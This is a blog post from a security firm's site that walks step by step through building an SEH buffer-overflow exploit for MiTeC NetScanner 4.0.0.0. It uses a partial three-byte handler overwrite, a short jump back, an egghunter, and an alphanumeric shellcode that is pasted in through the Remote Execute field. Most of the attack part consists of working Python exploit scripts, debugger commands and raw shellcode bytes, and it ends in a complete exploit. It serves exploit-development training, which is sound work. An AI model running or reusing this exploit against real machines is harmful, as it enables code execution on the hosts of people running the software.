Tabla de contenidos

Title
Title
Tabla de contenidos
Tabla de contenidos
Tabla de contenidos
Title
Title
Title

Ataques

Exploiting MiTeC NetScanner: Tricky SEH exploit

Andres Roldan

VP of Hacking

Actualizado

9 jul 2020

15 min

In this article, we will create an exploit for MiTeC NetScanner 4.0.0.0, taking advantage of a vulnerability found some years ago.

The original report can be found here, and the author claims this at the end (sic):


In this post, we will try to overcome the aforementioned Exploit problems to see if we can come up with a working exploit with something like TCP shell.

Vulnerability

The first thing to do is to identify the vulnerability. According to the author of the original exploit, it seems that there is a buffer overflow in the TOOLS → Detect IP from Host name…​ functionality. Let’s check that:

Buffer overflow

Indeed. Now, we can start creating our proof-of-concept exploit:

#!/usr/bin/env python3
"""
NetScanner 4.0.0.0 exploit.

Vulnerable Software: NetScanner
Vendor: MiTeC
Version: 4.0.0.0
Exploit Author: Andres Roldan
Tested On: Windows Vista Business 32 bits
Writeup: https://fluidattacks.com/blog/netscan-exploit/
"""

PAYLOAD = (
    b'A' * 500
)

with open('exploit.txt', 'wb') as fd:
    fd.write(PAYLOAD)

From now on, we should open the resulting exploit.txt file and copy/paste the resulting payload to NetScanner. Do that under a debugger to check what’s going on:

SEH overwrite

Great. It seems to be an SEH overwrite vulnerability.

Now, we must check at what offset the SEH handler is started to be overwritten. To do that, we can create a cyclic pattern using the Metasploit pattern_create.rb tool:


Update our exploit with that:

#!/usr/bin/env python3
"""
NetScanner 4.0.0.0 exploit.

Vulnerable Software: NetScanner
Vendor: MiTeC
Version: 4.0.0.0
Exploit Author: Andres Roldan
Tested On: Windows Vista Business 32 bits
Writeup: https://fluidattacks.com/blog/netscan-exploit/
"""

PAYLOAD = (
 b'<paste pattern here>'
)

with open('exploit.txt', 'wb') as fd:
    fd.write(PAYLOAD)

And check it:

SE handler

Now, check the offset with the pattern_offset.rb tool:

$ msf-pattern_offset -q 37634136
[*]

Update our exploit with that offset:

#!/usr/bin/env python3
"""
NetScanner 4.0.0.0 exploit.

Vulnerable Software: NetScanner
Vendor: MiTeC
Version: 4.0.0.0
Exploit Author: Andres Roldan
Tested On: Windows Vista Business 32 bits
Writeup: https://fluidattacks.com/blog/netscan-exploit/
"""

PAYLOAD = (
    b'A' * 80 +
    b'B' * 4 +
    b'C' * 416
)

with open('exploit.txt', 'wb') as fd:
    fd.write(PAYLOAD)

And check it:

Updated SE handler

Great! Now, let’s check for bad chars.

Checking for bad chars

One of the problems mentioned by the original exploit author is that we must encode our shellcode using an alphanumeric encoder. We can verify the bad chars by sending an array with all the possible ASCII chars, excluding some usual suspects (carriage return \x0d and line feed \x0a). First, we must create the array on our debugger, so we can later compare it with our injected payload on memory. This can be done using this command:

!mona bytearray -cpb '\x0a\x0d'

And we can create the same string on our exploit:

#!/usr/bin/env python3
"""
NetScanner 4.0.0.0 exploit.

Vulnerable Software: NetScanner
Vendor: MiTeC
Version: 4.0.0.0
Exploit Author: Andres Roldan
Tested On: Windows Vista Business 32 bits
Writeup: https://fluidattacks.com/blog/netscan-exploit/
"""

EXCLUDE = ('0xa', '0xd')
BADCHARS = bytes(bytearray([x for x in range(256) if hex(x) not in EXCLUDE]))

PAYLOAD = (
    b'A' * 80 +
    b'B' * 4 +
    BADCHARS
)

with open('exploit.txt', 'wb') as fd:
    fd.write(PAYLOAD)

Now, run the updated exploit to inject the resulting payload. We can compare the injected bytes with the in-memory bytes using:

!mona compare -f bytearray-file.bin -a <address start

In our case, that would be:

!mona compare -f c:\mona\NetScanner\bytearray.bin -a

And the result is:

[+]

It seems that the only mangling occurred at the 00 byte that was modified to 20. Also, it seems that the buffer was dropped after AC. We can inject the other part of the ASCII array to check that:

#!/usr/bin/env python3
"""
NetScanner 4.0.0.0 exploit.

Vulnerable Software: NetScanner
Vendor: MiTeC
Version: 4.0.0.0
Exploit Author: Andres Roldan
Tested On: Windows Vista Business 32 bits
Writeup: https://fluidattacks.com/blog/netscan-exploit/
"""

EXCLUDE = ('0xa', '0xd')
BADCHARS = bytes(bytearray([x for x in range(172, 256) if hex(x) not in EXCLUDE]))

PAYLOAD = (
    b'A' * 80 +
    b'B' * 4 +
    BADCHARS
)

with open('exploit.txt', 'wb') as fd:
    fd.write(PAYLOAD)

The result is:

Bad chars

And the comparison table result is:

Comparison

Well, it seems that after all, only the 0x00, 0x0a and 0x0d chars are not allowed. Not bad.

Exploiting

Now that we know the nature of the vulnerability, we can start the actual exploitation. The first thing to do is check if NetScanner has executable modules without SafeSEH enabled. To do that, we can use the following mona command:

!mona modules -cm safeseh

And the result is:

safeseh

It seems that the only module compiled without SafeSEH is the executable itself. However, as you can see in the Base address, it starts with 00, which means that when we inject it, it would be translated to 20, according to the bad chars analysis we just did. Let’s check that anyway.

First, let’s find suitable POP/POP/RET sequences with:

!mona seh -cm safeseh
mona seh

At least we have a lot. I’ll pick the first one at 00407119:

00407119

Update our exploit with that:

#!/usr/bin/env python3
"""
NetScanner 4.0.0.0 exploit.

Vulnerable Software: NetScanner
Vendor: MiTeC
Version: 4.0.0.0
Exploit Author: Andres Roldan
Tested On: Windows Vista Business 32 bits
Writeup: https://fluidattacks.com/blog/netscan-exploit/
"""
import struct

PAYLOAD = (
    b'A' * 80 +
    # 00407119  |. 59             POP ECX
    # 0040711A  |. 5D             POP EBP
    # 0040711B  \. C2 0400        RETN 4
    struct.pack('<L', 0x00407119) +
    b'C' * 416
)

with open('exploit.txt', 'wb') as fd:
    fd.write(PAYLOAD)

And check it:

Updated exploit

Look carefully at the resulting stack state:

Stack state

Several things are important to notice:

  1. The 00 byte on our POP/POP/RET sequence was mangled and changed to 20, as expected.

  2. The application somehow overwrites part of the A chars with 0 at nSEH-8.

  3. The C buffer seems unaffected.

Now check the end of the C buffer:

C buffer

We can see that there are some 00 bytes here, probably left-overs of the affected function stack frame. We can leverage those 00 to get our desired POP/POP/RET address.

3-byte overwrite

To overcome the problem of the NULL byte mangling, we can do a partial overwrite of the SEH handler. What we first did was:

=>  \x41\x41\x41\x41\x41\x41...   \x41\x41\x41\x41  \x19\x71\x40\x00   \x43...
  ._____________________________.__________________.__________________.________

And that’s where our \x00 byte was changed to 0x20. Let’s check what would happen if we write only 3 bytes of the POP/POP/RET address, like this:

=>  \x41\x41\x41\x41\x41\x41...   \x41\x41\x41\x41  \x19\x71\x40
  ._____________________________.__________________.____

Update our exploit:

#!/usr/bin/env python3
"""
NetScanner 4.0.0.0 exploit.

Vulnerable Software: NetScanner
Vendor: MiTeC
Version: 4.0.0.0
Exploit Author: Andres Roldan
Tested On: Windows Vista Business 32 bits
Writeup: https://fluidattacks.com/blog/netscan-exploit/
"""

PAYLOAD = (
    b'A' * 80 +
    # 00407119  |. 59             POP ECX
    # 0040711A  |. 5D             POP EBP
    # 0040711B  \. C2 0400        RETN 4
    b'\x19\x71\x40'
)

with open('exploit.txt', 'wb') as fd:
    fd.write(PAYLOAD)

And check it:

3-byte

Awesome! We used the stack left-overs to complete our POP/POP/RET address.

Now, if we run the POP/POP/RET sequence, we would land at nSEH which is only 4 bytes:

POP/POP/RET

And as we don’t have any bytes after the SEH handler, we must jump back to the start of our A buffer. With the help of our debugger, we can get the needed bytes EB B4. We can update our nSEH with that:

#!/usr/bin/env python3
"""
NetScanner 4.0.0.0 exploit.

Vulnerable Software: NetScanner
Vendor: MiTeC
Version: 4.0.0.0
Exploit Author: Andres Roldan
Tested On: Windows Vista Business 32 bits
Writeup: https://fluidattacks.com/blog/netscan-exploit/
"""

PAYLOAD = (
    b'A' * 76 +
    # nSEH
    b'\xeb\xb4\x41\x41' +
    # 00407119  |. 59             POP ECX
    # 0040711A  |. 5D             POP EBP
    # 0040711B  \. C2 0400        RETN 4
    b'\x19\x71\x40'
)

with open('exploit.txt', 'wb') as fd:
    fd.write(PAYLOAD)

And check it:

JMP back

Great! We now have 61 bytes to work.

Alternate ending: Egghunter

With 61 bytes, we have some room to work. The first thing that comes to mind is the use of an egghunter. Let’s do that.

We first must create the egghunter. I will use the egg osce this time:


Update our exploit with that:

#!/usr/bin/env python3
"""
NetScanner 4.0.0.0 exploit.

Vulnerable Software: NetScanner
Vendor: MiTeC
Version: 4.0.0.0
Exploit Author: Andres Roldan
Tested On: Windows Vista Business 32 bits
Writeup: https://fluidattacks.com/blog/netscan-exploit/
"""

EGGHUNTER =  b""
EGGHUNTER += b"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd"
EGGHUNTER += b"\x2e\x3c\x05\x5a\x74\xef\xb8\x6f\x73\x63\x65"
EGGHUNTER += b"\x89\xd7\xaf\x75\xea\xaf\x75\xe7\xff\xe7"

PAYLOAD = (
    # Initial padding
    b'A' * 8 +
    EGGHUNTER +
    b'A' * (76 - 8 - len(EGGHUNTER)) +
    # nSEH
    b'\xeb\xb4\x41\x41' +
    # 00407119  |. 59             POP ECX
    # 0040711A  |. 5D             POP EBP
    # 0040711B  \. C2 0400        RETN 4
    b'\x19\x71\x40'
)

with open('exploit.txt', 'wb') as fd:
    fd.write(PAYLOAD)

And check it:

Egghunter

Great. The egghunter is now ready, but there is nothing to hunt. We must create a shellcode, place it anywhere on memory and prepend it with our osceosce egg. But where?

After some analysis of NetScanner, I discovered a functionality called Remote Execute…​ on where several parameters are needed, but there is one called Command line that accepts long alphanumeric strings. To our favor, when we type something, it stays on memory:

Remote execute

Let’s check if we can use that field to insert our shellcode. First, we must create an alphanumeric shellcode:


Notice that I used the BufferRegister=EDI parameter because EDI is the register on where our egghunter will point the start of the shellcode. Let’s update our exploit with that:

#!/usr/bin/env python3
"""
NetScanner 4.0.0.0 exploit.

Vulnerable Software: NetScanner
Vendor: MiTeC
Version: 4.0.0.0
Exploit Author: Andres Roldan
Tested On: Windows Vista Business 32 bits
Writeup: https://fluidattacks.com/blog/netscan-exploit/
"""

EGGHUNTER = b""
EGGHUNTER += b"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd"
EGGHUNTER += b"\x2e\x3c\x05\x5a\x74\xef\xb8\x6f\x73\x63\x65"
EGGHUNTER += b"\x89\xd7\xaf\x75\xea\xaf\x75\xe7\xff\xe7"

SHELL = (
 b'WYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIyl'
 b'yxmREPuPc0CPoyYutqkpPdlKrptpnk1B6lLK1BFtNkCBdhVonWaZTf'
 b'VQkOLlWLcQ1lS2VLUpzajovmwqKwIr8rrr1GnkBrTPLKRjgLLKrlR1'
 b'ahHcCxS18QsankPY5p5QXSNkpIUHIsGJBiLKFTlKwqiFFQkOLlJaxO'
 b'4MeQO708ip2UyfVccMxxGKcMUtt5ytqHNkv8a4318SSVnk6lpKlKBx'
 b'gl7q8SlK4DLK7qJpMYG4UtEtSkskQqv92z0QyoipaOSocjlKVrXknm'
 b'CmCXUcfRS0EPaxD7PsTrSoaD0hpLRW5vVgYozulxNp5QeP7p6IiTrt'
 b'bpsXWYmP0k5PkOiEV0BpRpv0g00P3p0PsXZJ6oKoYpkOjuogPjeUe8'
 b'o0y8eP7b0huRGpga1LMYM60jvprv3gaxLYy5SD1qKOHUk5iPd4TLKO'
 b'rnFhrUHlBHjPMenBV6kOxUaxsS2McT7poyis0Wsgv7eakFrJWbSiRv'
 b'yrImU6kwW4fD7LWqc1lMctddvpjfgppDqDpPrvPV1FaV2vRn66aFpS'
 b'pVaxT9ZlUoMV9oXUlIypPNBvSvIotpqx5XMW5MCPyoYEmklj8E9raM'
 b'CXlfnummomyoYEelEVQl7zMPykIpRUveoK3wGcT2RO0j30BskOxUAA'
)

PAYLOAD = (
 # Initial padding
 b'A' * 8 +
 EGGHUNTER +
 b'A' * (76 - 8 - len(EGGHUNTER)) +
 # nSEH
 b'\xeb\xb4\x41\x41' +
 # 00407119 |. 59 POP ECX
 # 0040711A |. 5D POP EBP
 # 0040711B \. C2 0400 RETN 4
 b'\x19\x71\x40'
)

print('[*] Please, paste the following text on:')
print('[*] TOOLS -> Remote Execute... -> Command line')
print('')
print(f'osceosce{SHELL.decode()}')
print('')
print('[*] Now paste the exploit payload.')

with open('exploit.txt', 'wb') as fd:
    fd.write(PAYLOAD)

Note that I included some instructions. Also, I included osceosce at the start of the shellcode. Let’s check it:

Success

Awesome!

We were able to overcome all the original exploit problems.

You can download the final exploit here.

Conclusion

Sometimes, we need to be creative when creating our exploits. In this article, we were able to leverage stack left-overs and other functionalities of the vulnerable application to get a fully working exploit.

Get started with Fluid Attacks' PTaaS right now

Etiquetas:

vulnerabilidad

formacion

exploit

Suscríbete a nuestro boletín

Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.

Inicia tu prueba gratuita de 21 días

Descubre los beneficios de nuestra solución Hacking Continuo, de la que ya disfrutan empresas de todos los tamaños.

Inicia tu prueba gratuita de 21 días

Descubre los beneficios de nuestra solución Hacking Continuo, de la que ya disfrutan empresas de todos los tamaños.

Inicia tu prueba gratuita de 21 días

Descubre los beneficios de nuestra solución Hacking Continuo, de la que ya disfrutan empresas de todos los tamaños.

Inicia tu prueba gratuita de 21 días

Descubre los beneficios de nuestra solución Hacking Continuo, de la que ya disfrutan empresas de todos los tamaños.

Las soluciones de Fluid Attacks permiten a las organizaciones identificar, priorizar y remediar vulnerabilidades en su software a lo largo del SDLC. Con el apoyo de la IA, herramientas automatizadas y pentesters, Fluid Attacks acelera la mitigación de la exposición al riesgo de las empresas y fortalece su postura de ciberseguridad.

SOC 2 Type II

SOC 3

Suscríbete a nuestro boletín

Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.

Las soluciones de Fluid Attacks permiten a las organizaciones identificar, priorizar y remediar vulnerabilidades en su software a lo largo del SDLC. Con el apoyo de la IA, herramientas automatizadas y pentesters, Fluid Attacks acelera la mitigación de la exposición al riesgo de las empresas y fortalece su postura de ciberseguridad.

SOC 2 Type II

SOC 3

Suscríbete a nuestro boletín

Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.

Las soluciones de Fluid Attacks permiten a las organizaciones identificar, priorizar y remediar vulnerabilidades en su software a lo largo del SDLC. Con el apoyo de la IA, herramientas automatizadas y pentesters, Fluid Attacks acelera la mitigación de la exposición al riesgo de las empresas y fortalece su postura de ciberseguridad.

SOC 2 Type II

SOC 3

Suscríbete a nuestro boletín

Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.

Nos vemos en RSA Conference™ 2025 en el booth N-4204.

Agenda una demo on-site

Nos vemos en RSA Conference™ 2025 en el booth N-4204.

Agenda una demo on-site